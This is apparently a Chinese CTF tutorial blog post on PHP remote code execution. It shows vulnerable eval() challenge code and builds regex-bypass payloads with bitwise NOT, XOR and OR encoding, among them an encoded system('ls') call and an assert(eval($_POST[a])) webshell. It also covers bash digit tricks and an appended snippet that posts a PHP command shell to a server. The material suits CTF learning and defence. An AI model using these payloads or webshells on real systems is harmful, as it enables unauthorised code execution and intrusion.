CTF php RCE (四)

0x08 取反以及异或、或

这两个东西呢相当的好玩,也能够达到一下小极限的操作

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

随便找了个例题,观察一下,限制了字符长度,以及无字母数字RCE

取反 ~

就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,
这时由于取反后,会url解码成不可打印字符,这样我们就会绕过

直接看实验
写了一个非常简单的exp

<?php
$a='phpinfo';
$b=urlencode($a);
$c=~$b;
if(preg_match("/[A-Za-z0-9]+/",$c)){
    echo 0;
}else {
    echo 1;
}
?>

然后我在进行下一步检验即输出$B的时候发现我写错了

在这里插入图片描述

这样子才对,而且其中我们只能进行命令的拼接,并不能够直接写出一坨命令出来

<?php
$a='phpinfo';
$b=urlencode(~$a);
$c=~$b;
/*if(preg_match("/[A-Za-z0-9]+/",$c)){
    echo 0;
}else {
    echo 1;
}*/
echo $b;
?>

在这里插入图片描述
成功了,说明exp没问题了,但是有个问题就是我们写的命令不能是这类
system(‘ls’)
而只能写小🐎了,因为取反的问题

assert(eval($_POST[a]))

然后就行了,剩下的操作不讲了

异或 ^

同样是这个题
在这里插入图片描述

<?php
$a='A';
$b='1';
echo $a^$b;

?>
<?php
$a='A';
$b='1';
$c=$a^$b;
echo $c;
echo "\r";
echo ord($a);
echo "\r";
echo ord($b);
echo "\r";
echo ord($c);
?>

原理你拿过去跑一下就知道了
后面我打了一下发现很明显异或太长了
但是没关系我们可以构造phpinfo()玩玩
将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符

异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0

我们就是将两个url编码异或成为一个字符,那么就能够达到命令执行的目的了

<?php
for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v
%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
%90^%FF=>o     %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j
%96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
%A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
%C0^%FF=>?
phpinfo
('%8f%97%8f%96%91%99%90'^'%FF%FF%FF%FF%FF%FF%FF')

在这里插入图片描述

?code=('%8f%97%8f%96%91%99%90'^'%FF%FF%FF%FF%FF%FF%FF')();

成功

或 |

<?php


if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这题我们使用或运算绕过
原理是利用url编码绕过
在这里插入图片描述

system
%73%79%73%74%65%6d
("%13%19%13%14%05%0d")|("%60%60%60%60%60%60%60")

在这里插入图片描述
我先弄的"ls"

双引号不能被正常识别改成单引号

'ls'
("%27%0c%13%27")|(%00%60%60%00)
system('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%27%0c%13%27"|"%00%60%60%00")

然后呢继续手动构造就行,我还不会写脚本

0x09 取反得到数字

这个是一个特性,我想单独拿出来说说
$(())为0

按位取反1变0,0变1

例子
~5值-6
在这里插入图片描述

所以我们叠加在括号其中即可

$((~$(())+~$(())+~$(())+~$(()))) 为-4

那么如何换回来呢,那么就是再来一层取反

$((~$((~$(())+~$(())+~$(())+~$(()))))) 为3
那么我们就学会了,我们如果需要数字为x,那么我们就需要(x+1)个  ~$(())  相加然后再进行取反即可
### CTF竞赛中RCE(远程代码执行)攻击与防御技术 #### 攻击方法 在CTF竞赛场景下,利用远程代码执行(RCE)漏洞进行攻击主要依赖于发现并利用应用程序中存在的未充分验证用户输入的功能。当应用程序允许用户提交的数据被直接用于构建命令或脚本时,则可能存在RCE风险[^4]。 对于基于PHP的应用程序而言,如果存在`php://input`这样的伪协议滥用情况,那么攻击者可以通过精心构造HTTP请求体来实现恶意代码的上传与执行[^3]。此外,某些内置函数如`eval()`也会成为潜在的风险点,因为它会尝试解析传入字符串作为实际可运行的PHP代码片段。 为了成功实施一次有效的RCE攻击,在比赛中选手们往往会关注以下几个方面: - **寻找易受攻击的服务接口**:任何接受来自客户端数据的地方都可能是突破口。 - **绕过现有防护措施**:比如通过编码变换等方式规避简单字符过滤机制[^2]。 - **测试不同环境下的行为差异**:考虑到多平台兼容性问题可能导致的安全隐患。 ```python import requests url = 'http://example.com/vulnerable_endpoint' payload = '<?php system($_GET["cmd"]); ?>' response = requests.post(url, data=payload) print(response.text) ``` 这段Python代码展示了如何发送POST请求给一个假设存在的脆弱端点,并试图植入一段简单的PHP shell以供后续交互使用。 #### 防御策略 面对如此危险性的威胁,采取适当预防手段至关重要。以下是几种常见的防范建议: - **最小权限原则**:确保Web应用及其组件仅拥有完成必要任务所需的最低限度资源访问权。 - **严格输入校验**:无论是前端还是后端都应该对所有外部输入进行全面而细致地审查,拒绝非法格式的内容传递到内部处理逻辑之前[^1]。 - **采用安全框架/库**:现代开发工具包往往已经集成了许多经过良好设计的安全特性,可以帮助开发者更轻松地抵御已知类型的攻击模式。 - **定期更新补丁**:保持软件版本处于最新状态有助于及时修复官方发布的各类安全隐患报告所指出的问题。 ```bash sudo apt-get update && sudo apt-get upgrade -y ``` 上述Shell指令可用于Linux系统上自动化安装最新的安全更新包集合。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值